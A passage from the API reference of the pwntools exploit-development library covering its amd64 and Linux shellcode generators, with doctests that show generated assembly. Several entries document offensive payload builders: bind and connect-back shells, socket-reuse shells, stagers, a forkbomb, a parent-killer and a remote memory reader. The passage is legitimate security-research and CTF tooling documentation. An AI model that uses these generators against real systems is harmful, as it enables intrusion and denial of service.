If `src` is a string that is not a register, then it will locally set `context.arch` to `'amd64'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```

>>> print(shellcraft.amd64.mov('eax', 'ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
push 1
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
mov edi, 0x1010101 /* 255 == 0xff */
xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
push rax
mov rax, 0x1010110dfac01fe
xor [rsp], rax
pop rax

```

```

>>> with context.local(os='linux'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
...     xor eax, eax /* (SYS_read) */
>>> with context.local(os='freebsd'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
...     push (SYS_read) /* 3 */
...     pop rax
>>> with context.local(os='linux'):
...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
...     push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
...     pop rax

```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

- **stack_allowed** (*bool*) – Can the stack be used?

`pwntools.shellcraft.amd64.nop()`
A single-byte nop instruction.

`pwntools.shellcraft.amd64.popad()`
Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwntools.shellcraft.amd64.push(value)`
Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'amd64'` using `pwntools.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```
>>> print(pwntools.shellcraft.amd64.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print(pwntools.shellcraft.amd64.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwntools.shellcraft.amd64.push(256).rstrip())
/* push 256 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os='linux'):
...     print(pwntools.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 1
>>> with context.local(os='freebsd'):
...     print(pwntools.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 4
```

`pwntools.shellcraft.amd64.pushad()`
Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwntools.shellcraft.amd64.pushstr(string, append_null=True)`
Pushes a bytes or string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.amd64.pushstr('').rstrip())
/* push b'\x00' */
push 1
dec byte ptr [rsp]
>>> print(shellcraft.amd64.pushstr('a').rstrip())
/* push b'a\x00' */
push 0x61
>>> print(shellcraft.amd64.pushstr('aa').rstrip())
/* push b'aa\x00' */
push 0x1010101 ^ 0x6161
```

```

xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
push 0x1010101 ^ 0x616161
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
push 0x61616161
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3').rstrip())
/* push b'aaa\xc3\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0xc3616161
xor [rsp], rax
>>> print(shellcraft.amd64.pushstr(b'aaa\xc3', append_null=False).rstrip())
/* push b'aaa\xc3' */
push -0x3c9e9e9f
>>> print(shellcraft.amd64.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
push 0x1010101 ^ 0xc3
xor dword ptr [rsp], 0x1010101
>>> print(shellcraft.amd64.pushstr(b'\xc3', append_null=False).rstrip())
/* push b'\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
48b801010101010101015048b82e63686f2e72690148310424
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'amd64'
...     print(enhex(asm(shellcraft.pushstr(b"\x00", False))))
6a01fe0c24

```

Parameters

- **string** (*bytes, str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwntools.shellcraft.amd64.pushstr_array` (*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*bytes, str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwntools.shellcraft.amd64.ret` (*return_value=None*)

A single-byte RET instruction.

Parameters *return_value* – Value to return

`pwntools.shellcraft.amd64.setregs` (*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'rax': 1, 'rbx': 'rax'}).rstrip())
mov rbx, rax
push 1
pop rax
>>> print(shellcraft.setregs({'rax': 'SYS_write', 'rbx': 'rax'}).rstrip())
mov rbx, rax
push (SYS_write) /* 1 */
pop rax
>>> print(shellcraft.setregs({'rax': 'rbx', 'rbx': 'rax', 'rcx': 'rbx'}).rstrip())
mov rcx, rbx
xchg rax, rbx
>>> print(shellcraft.setregs({'rax': 1, 'rdx': 0}).rstrip())
push 1
pop rax
cdq /* rdx=0 */
```

`pwntools.shellcraft.amd64.strcpy(dst, src)`

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\n"'
>>> run_assembly(sc).recvline()
b'Hello, world\n'
```

`pwntools.shellcraft.amd64.strlen(string, reg='rcx')`

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, rcx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
```

```
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwnlib.shellcraft.amd64.trap()`
A trap instruction.

`pwnlib.shellcraft.amd64.xor(key, address, count)`
XORs data a constant value.

Parameters

- **key** (*int*, *bytes*, *str*) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.amd64.linux`

Shellcraft module containing Intel x86_64 shellcodes for Linux.

`pwnlib.shellcraft.amd64.linux.accept(fd, addr, addr_len)`
Invokes the syscall `accept`. See ‘man 2 `accept`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.amd64.linux.access(name, type)`
Invokes the syscall `access`. See ‘man 2 `access`’ for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

`pwnlib.shellcraft.amd64.linux.acct(name)`
Invokes the syscall `acct`. See ‘man 2 `acct`’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.amd64.linux.alarm` (*seconds*)

Invokes the syscall alarm. See ‘man 2 alarm’ for more information.

Parameters `seconds` (*unsigned*) – seconds

`pwnlib.shellcraft.amd64.linux.bind` (*fd, addr, length*)

Invokes the syscall bind. See ‘man 2 bind’ for more information.

Parameters

- `fd` (*int*) – fd
- `addr` (*CONST_SOCKADDR_ARG*) – addr
- `len` (*socklen_t*) – len

`pwnlib.shellcraft.amd64.linux.bindsh` (*port, network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either ‘ipv4’ or ‘ipv6’.

`pwnlib.shellcraft.amd64.linux.brk` (*addr*)

Invokes the syscall brk. See ‘man 2 brk’ for more information.

Parameters `addr` (*void*) – addr

`pwnlib.shellcraft.amd64.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.chdir` (*path*)

Invokes the syscall chdir. See ‘man 2 chdir’ for more information.

Parameters `path` (*char*) – path

`pwnlib.shellcraft.amd64.linux.chmod` (*file, mode*)

Invokes the syscall chmod. See ‘man 2 chmod’ for more information.

Parameters

- `file` (*char*) – file
- `mode` (*mode_t*) – mode

`pwnlib.shellcraft.amd64.linux.chown` (*file, owner, group*)

Invokes the syscall chown. See ‘man 2 chown’ for more information.

Parameters

- `file` (*char*) – file
- `owner` (*uid_t*) – owner
- `group` (*gid_t*) – group

`pwnlib.shellcraft.amd64.linux.chroot` (*path*)

Invokes the syscall chroot. See ‘man 2 chroot’ for more information.

Parameters `path` (*char*) – path

`pwnlib.shellcraft.amd64.linux.clock_getres` (*clock_id, res*)

Invokes the syscall clock_getres. See ‘man 2 clock_getres’ for more information.

Parameters

- `clock_id` (*clockid_t*) – clock_id
- `res` (*timespec*) – res

`pwnlib.shellcraft.amd64.linux.clock_gettime` (*clock_id*, *tp*)

Invokes the syscall `clock_gettime`. See ‘man 2 `clock_gettime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.amd64.linux.clock_nanosleep` (*clock_id*, *flags*, *req*, *rem*)

Invokes the syscall `clock_nanosleep`. See ‘man 2 `clock_nanosleep`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **flags** (*int*) – `flags`
- **req** (*timespec*) – `req`
- **rem** (*timespec*) – `rem`

`pwnlib.shellcraft.amd64.linux.clock_settime` (*clock_id*, *tp*)

Invokes the syscall `clock_settime`. See ‘man 2 `clock_settime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.amd64.linux.clone` (*fn*, *child_stack*, *flags*, *arg*, *vararg*)

Invokes the syscall `clone`. See ‘man 2 `clone`’ for more information.

Parameters

- **fn** (*int*) – `fn`
- **child_stack** (*void*) – `child_stack`
- **flags** (*int*) – `flags`
- **arg** (*void*) – `arg`
- **vararg** (*int*) – `vararg`

`pwnlib.shellcraft.amd64.linux.close` (*fd*)

Invokes the syscall `close`. See ‘man 2 `close`’ for more information.

Parameters **fd** (*int*) – `fd`

`pwnlib.shellcraft.amd64.linux.connect` (*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either ‘`ipv4`’ or ‘`ipv6`’. Leaves the connected socket in `rbp`.

`pwnlib.shellcraft.amd64.linux.connectstager` (*host*, *port*, *network='ipv4'*)

`connect` recvsizer stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.amd64.linux.creat` (*file*, *mode*)

Invokes the syscall `creat`. See ‘man 2 `creat`’ for more information.

Parameters

- **file** (*char*) – `file`
- **mode** (*mode_t*) – `mode`

`pwnlib.shellcraft.amd64.linux.dup(sock='rbp')`
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.amd64.linux.dup2(fd,fd2)`
Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2

`pwnlib.shellcraft.amd64.linux.dup3(fd,fd2,flags)`
Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.dupsh(sock='rbp')`
Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.amd64.linux.echo(string,sock='l')`
Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.egghunter(egg,start_address=0)`
Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*bytes, str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwnlib.shellcraft.amd64.linux.epoll_create(size)`
Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

Parameters **size** (*int*) – size

`pwnlib.shellcraft.amd64.linux.epoll_create1(flags)`
Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.epoll_ctl(epfd,op,fd,event)`
Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

Parameters

- **epfd** (*int*) – epfd
- **op** (*int*) – op
- **fd** (*int*) – fd
- **event** (*epoll_event*) – event

`pwnlib.shellcraft.amd64.linux.epoll_pwait(epfd,events,maxevents,timeout,ss)`
Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout
- **ss** (*sigset_t*) – ss

`pwnlib.shellcraft.amd64.linux.epoll_wait` (*epfd, events, maxevents, timeout*)
Invokes the syscall `epoll_wait`. See ‘man 2 `epoll_wait`’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout

`pwnlib.shellcraft.amd64.linux.execve` (*path='/bin//sh', argv=[], envp={}*)
Execute a different process.

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

- If `path` is a string that is not a known register, it is pushed onto the stack.
- If `argv` is an array of strings, it is pushed onto the stack, and NULL-terminated.
- If `envp` is a dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': '3'}
>>> sc = shellcraft.amd64.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
b'Hello, zerocool\n'
>>> io.poll(True)
3
```

`pwnlib.shellcraft.amd64.linux.exit` (*status=None*)
Invokes the syscall `exit`. See ‘man 2 `exit`’ for more information.

Parameters **status** (*int*) – status

Doctest

```
>>> run_assembly_exitcode(shellcraft.exit(33))
33
```

`pwnlib.shellcraft.amd64.linux.faccessat` (*fd, file, type, flag*)
Invokes the syscall `faccessat`. See ‘man 2 `faccessat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file

- **type** (*int*) – type
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.fallocate` (*fd, mode, offset, length*)
Invokes the syscall `fallocate`. See ‘man 2 `fallocate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*int*) – mode
- **offset** (*off_t*) – offset
- **len** (*off_t*) – len

`pwnlib.shellcraft.amd64.linux.fchdir` (*fd*)
Invokes the syscall `fchdir`. See ‘man 2 `fchdir`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.amd64.linux.fchmod` (*fd, mode*)
Invokes the syscall `fchmod`. See ‘man 2 `fchmod`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.amd64.linux.fchmodat` (*fd, file, mode, flag*)
Invokes the syscall `fchmodat`. See ‘man 2 `fchmodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.fchown` (*fd, owner, group*)
Invokes the syscall `fchown`. See ‘man 2 `fchown`’ for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.amd64.linux.fchownat` (*fd, file, owner, group, flag*)
Invokes the syscall `fchownat`. See ‘man 2 `fchownat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.fcntl` (*fd, cmd, vararg*)
 Invokes the syscall `fcntl`. See ‘man 2 `fcntl`’ for more information.

Parameters

- `fd` (*int*) – fd
- `cmd` (*int*) – cmd
- `vararg` (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.fdatasync` (*filides*)
 Invokes the syscall `fdatasync`. See ‘man 2 `fdatasync`’ for more information.

Parameters `filides` (*int*) – filides

`pwnlib.shellcraft.amd64.linux.findpeer` (*port=None*)
 Args: `port` (defaults to any) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

`pwnlib.shellcraft.amd64.linux.findpeersh` (*port=None*)
 Args: `port` (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.amd64.linux.findpeerstager` (*port=None*)
 Findpeer recvsize stager :param `port`, the port given to findpeer: :type `port`, the port given to findpeer: defaults to any

`pwnlib.shellcraft.amd64.linux.flock` (*fd, operation*)
 Invokes the syscall `flock`. See ‘man 2 `flock`’ for more information.

Parameters

- `fd` (*int*) – fd
- `operation` (*int*) – operation

`pwnlib.shellcraft.amd64.linux.fork` ()
 Invokes the syscall `fork`. See ‘man 2 `fork`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.forkbomb` ()
 Performs a forkbomb attack.

`pwnlib.shellcraft.amd64.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.amd64.linux.fstat` (*fd, buf*)
 Invokes the syscall `fstat`. See ‘man 2 `fstat`’ for more information.

Parameters

- `fd` (*int*) – fd
- `buf` (*stat*) – buf

`pwnlib.shellcraft.amd64.linux.fstat64` (*fd, buf*)
 Invokes the syscall `fstat64`. See ‘man 2 `fstat64`’ for more information.

Parameters

- `fd` (*int*) – fd
- `buf` (*stat64*) – buf

`pwnlib.shellcraft.amd64.linux.fstatat64` (*fd, file, buf, flag*)
 Invokes the syscall `fstatat64`. See ‘man 2 `fstatat64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (*stat64*) – buf
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.fsync` (*fd*)

Invokes the syscall `fsync`. See ‘man 2 `fsync`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.amd64.linux.ftruncate` (*fd, length*)

Invokes the syscall `ftruncate`. See ‘man 2 `ftruncate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

`pwnlib.shellcraft.amd64.linux.ftruncate64` (*fd, length*)

Invokes the syscall `ftruncate64`. See ‘man 2 `ftruncate64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

`pwnlib.shellcraft.amd64.linux.futimesat` (*fd, file, tvp*)

Invokes the syscall `futimesat`. See ‘man 2 `futimesat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.amd64.linux.getcwd` (*buf, size*)

Invokes the syscall `getcwd`. See ‘man 2 `getcwd`’ for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.amd64.linux.getegid` ()

Invokes the syscall `getegid`. See ‘man 2 `getegid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.geteuid` ()

Invokes the syscall `geteuid`. See ‘man 2 `geteuid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.getgid` ()

Invokes the syscall `getgid`. See ‘man 2 `getgid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.getgroups` (*size, list*)

Invokes the syscall `getgroups`. See ‘man 2 `getgroups`’ for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.amd64.linux.getitimer` (*which, value*)

Invokes the syscall `getitimer`. See ‘man 2 `getitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.amd64.linux.getpeername` (*fd, addr, length*)

Invokes the syscall `getpeername`. See ‘man 2 `getpeername`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.amd64.linux.getpgid` (*pid*)

Invokes the syscall `getpgid`. See ‘man 2 `getpgid`’ for more information.

Parameters `pid` (*pid_t*) – pid

`pwnlib.shellcraft.amd64.linux.getpgrp` ()

Invokes the syscall `getpgrp`. See ‘man 2 `getpgrp`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.getpid` ()

Retrieve the current PID

`pwnlib.shellcraft.amd64.linux.getpmsg` (*fildes, ctlptr, dataptr, bandp, flagsp*)

Invokes the syscall `getpmsg`. See ‘man 2 `getpmsg`’ for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **bandp** (*int*) – bandp
- **flagsp** (*int*) – flagsp

`pwnlib.shellcraft.amd64.linux.getppid` ()

Invokes the syscall `getppid`. See ‘man 2 `getppid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.getpriority` (*which, who*)

Invokes the syscall `getpriority`. See ‘man 2 `getpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which

- **who** (*id_t*) – who

`pwnlib.shellcraft.amd64.linux.getresgid` (*rgid, egid, sgid*)

Invokes the syscall `getresgid`. See ‘man 2 `getresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.amd64.linux.getresuid` (*ruid, euid, suid*)

Invokes the syscall `getresuid`. See ‘man 2 `getresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.amd64.linux.getrlimit` (*resource, rlimits*)

Invokes the syscall `getrlimit`. See ‘man 2 `getrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.amd64.linux.getrusage` (*who, usage*)

Invokes the syscall `getrusage`. See ‘man 2 `getrusage`’ for more information.

Parameters

- **who** (*rusage_who_t*) – who
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.amd64.linux.getsid` (*pid*)

Invokes the syscall `getsid`. See ‘man 2 `getsid`’ for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.amd64.linux.getsockname` (*fd, addr, length*)

Invokes the syscall `getsockname`. See ‘man 2 `getsockname`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.amd64.linux.getsockopt` (*fd, level, optname, optval, optlen*)

Invokes the syscall `getsockopt`. See ‘man 2 `getsockopt`’ for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname

- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

`pwnlib.shellcraft.amd64.linux.gettimeofday` (*tv, tz*)

Invokes the syscall `gettimeofday`. See ‘man 2 `gettimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

`pwnlib.shellcraft.amd64.linux.getuid` ()

Invokes the syscall `getuid`. See ‘man 2 `getuid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.gtty` (*fd, params*)

Invokes the syscall `gtty`. See ‘man 2 `gtty`’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.amd64.linux.ioctl` (*fd, request, vararg*)

Invokes the syscall `ioctl`. See ‘man 2 `ioctl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.ioperm` (*from_, num, turn_on*)

Invokes the syscall `ioperm`. See ‘man 2 `ioperm`’ for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

`pwnlib.shellcraft.amd64.linux.iopl` (*level*)

Invokes the syscall `iopl`. See ‘man 2 `iopl`’ for more information.

Parameters **level** (*int*) – level

`pwnlib.shellcraft.amd64.linux.kill` (*pid, signal='SIGKILL'*)

Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.killparent` ()

Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.amd64.linux.lchown` (*file, owner, group*)

Invokes the syscall `lchown`. See ‘man 2 `lchown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner

- **group** (*gid_t*) – group

`pwnlib.shellcraft.amd64.linux.link` (*from_, to*)
Invokes the syscall `link`. See ‘man 2 link’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.amd64.linux.linkat` (*fromfd, from_, tofd, to, flags*)
Invokes the syscall `linkat`. See ‘man 2 linkat’ for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.listen` (*port, network*)
Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either ‘ipv4’ or ‘ipv6’.

`pwnlib.shellcraft.amd64.linux.loader` (*address*)
Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.amd64.linux.loader_append` (*data=None*)
Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters **data** (*bytes, str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m64', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> run_assembly(sc).recvline() == b'Hello, amd64!\n' # True
```

`pwnlib.shellcraft.amd64.linux.lseek` (*fd, offset, whence*)
Invokes the syscall `lseek`. See ‘man 2 lseek’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

`pwnlib.shellcraft.amd64.linux.lstat` (*file, buf*)
Invokes the syscall `lstat`. See ‘man 2 `lstat`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.amd64.linux.lstat64` (*file, buf*)
Invokes the syscall `lstat64`. See ‘man 2 `lstat64`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.amd64.linux.madvise` (*addr, length, advice*)
Invokes the syscall `madvise`. See ‘man 2 `madvise`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

`pwnlib.shellcraft.amd64.linux.membot` (*readsock=0, writesock=1*)
Read-write access to a remote process’ memory.

Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop
- 1: Read data
- 2: Write data

`pwnlib.shellcraft.amd64.linux.migrate_stack` (*size=1048576, fd=0*)
Migrates to a new stack.

`pwnlib.shellcraft.amd64.linux.mincore` (*start, length, vec*)
Invokes the syscall `mincore`. See ‘man 2 `mincore`’ for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

